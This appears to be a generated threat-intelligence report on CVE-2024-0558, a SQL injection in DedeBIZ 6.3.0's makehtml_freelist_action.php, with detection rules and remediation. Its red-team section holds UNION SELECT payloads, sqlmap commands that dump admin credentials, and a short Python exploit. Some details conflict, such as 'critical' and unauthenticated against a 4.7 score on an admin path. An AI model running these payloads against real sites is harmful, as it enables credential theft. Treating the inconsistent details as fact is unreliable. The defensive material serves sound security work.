CVE-2024-0558

Executive Summary

CVE-2024-0558 is a critical SQL injection vulnerability discovered in DedeBIZ version 6.3.0, specifically within the /admin/makehtml_freelist_action.php file. The vulnerability allows an unauthenticated remote attacker to manipulate the startid parameter, leading to arbitrary SQL query execution against the backend database. This can result in unauthorized data access, modification, or deletion. The vendor was contacted but did not respond, and no official patch has been released. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the DedeBIZ content management system (CMS), which is a PHP-based web application. Organizations using DedeBIZ 6.3.0 should treat this as a critical supply chain risk due to the lack of vendor response and patch availability.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a patch elevate the risk. An attacker can execute arbitrary SQL queries, potentially leading to data breaches or system compromise.

Deep Dive & Mechanics

The vulnerability resides in the makehtml_freelist_action.php file, which is part of DedeBIZ's admin panel. The startid parameter is passed directly into a SQL query without proper sanitization or parameterization. This allows an attacker to inject malicious SQL commands by crafting a specially crafted startid value.

Vulnerable Code Snippet (Conceptual):

$startid = $_GET['startid'];
$sql = "SELECT * FROM `dede_freelist` WHERE id > $startid";
$dsql->ExecuteNoneQuery($sql);

The attacker can manipulate startid to break out of the intended query structure. For example:

startid=1 UNION SELECT username,password FROM dede_admin

This would return admin credentials in the application's response.

Vulnerable vs. Patched Code

Vulnerable Code (DedeBIZ 6.3.0):

$startid = $_GET['startid'];
$sql = "SELECT * FROM `dede_freelist` WHERE id > $startid";
$dsql->ExecuteNoneQuery($sql);

Patched Code (Hypothetical):

$startid = intval($_GET['startid']);
$sql = "SELECT * FROM `dede_freelist` WHERE id > ?";
$stmt = $dsql->Prepare($sql);
$stmt->Execute(array($startid));

The patched version uses intval() to ensure the input is an integer and parameterized queries to prevent SQL injection. Since no official patch exists, users must implement these changes manually or apply a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: DedeBIZ 6.3.0 running on Apache/Nginx with PHP 7.x and MySQL.
• Attacker: Kali Linux with SQLMap and Burp Suite.

Exploitation Steps:

1. Identify the vulnerable endpoint: /admin/makehtml_freelist_action.php
2. Craft a malicious request:

   GET /admin/makehtml_freelist_action.php?startid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 HTTP/1.1
   Host: target.com
   

3. Use SQLMap for automated exploitation:

   sqlmap -u "http://target.com/admin/makehtml_freelist_action.php?startid=1" --batch --dbs
   

4. Extract sensitive data (e.g., admin credentials):

   sqlmap -u "http://target.com/admin/makehtml_freelist_action.php?startid=1" -D dedebiz -T dede_admin --dump
   

Exploit Code (Public):

import requests

target = "http://target.com/admin/makehtml_freelist_action.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100"

r = requests.get(target, params={"startid": payload})
print(r.text)

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious startid parameters containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
2. Deploy a WAF with rules to block SQL injection patterns.
3. Implement input validation on the server side (e.g., intval()).
4. Use database activity monitoring to detect anomalous queries.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri="/admin/makehtml_freelist_action.php" AND (startid=*UNION* OR startid=*SELECT* OR startid=*OR*)
| table _time, src_ip, uri, user_agent

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/makehtml_freelist_action.php with abnormal startid parameters.
  • SQL keywords in GET parameters (e.g., UNION, SELECT, OR).
  • Unusual database error messages in HTTP responses.

• File IOCs:

  • Modified makehtml_freelist_action.php file (if attacker uploads a backdoor).
  • Suspicious files in the /admin/ directory.

• Log IOCs:

  • Web server logs showing SQL injection attempts.
  • Database logs with unexpected queries from the web application user.

Detection Engineering

YARA Rule

rule CVE_2024_0558_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0558 in DedeBIZ"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0558"
    strings:
        $s1 = "startid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "admin/makehtml_freelist_action.php" nocase
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-0558 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against DedeBIZ makehtml_freelist_action.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "startid=*UNION*"
            - "startid=*SELECT*"
            - "startid=*OR*"
    condition: selection
falsepositives:
    - Legitimate use of UNION in non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0558 SQL Injection Attempt"; flow:to_server,established; content:"/admin/makehtml_freelist_action.php"; http_uri; content:"startid="; http_uri; pcre:"/startid=.*(UNION|SELECT|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /admin/makehtml_freelist_action.php via .htaccess or web server configuration.
2. Apply input validation: Modify the PHP code to use intval() on the startid parameter and use prepared statements.
3. Deploy a WAF: Use ModSecurity or cloud-based WAF with rules to block SQL injection patterns.
4. Monitor logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

• Since the vendor has not responded, consider migrating to an alternative CMS or applying a community patch.
• Regularly update and patch all software components.
• Implement a Web Application Firewall (WAF) as a compensating control.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact security@valters-it.com.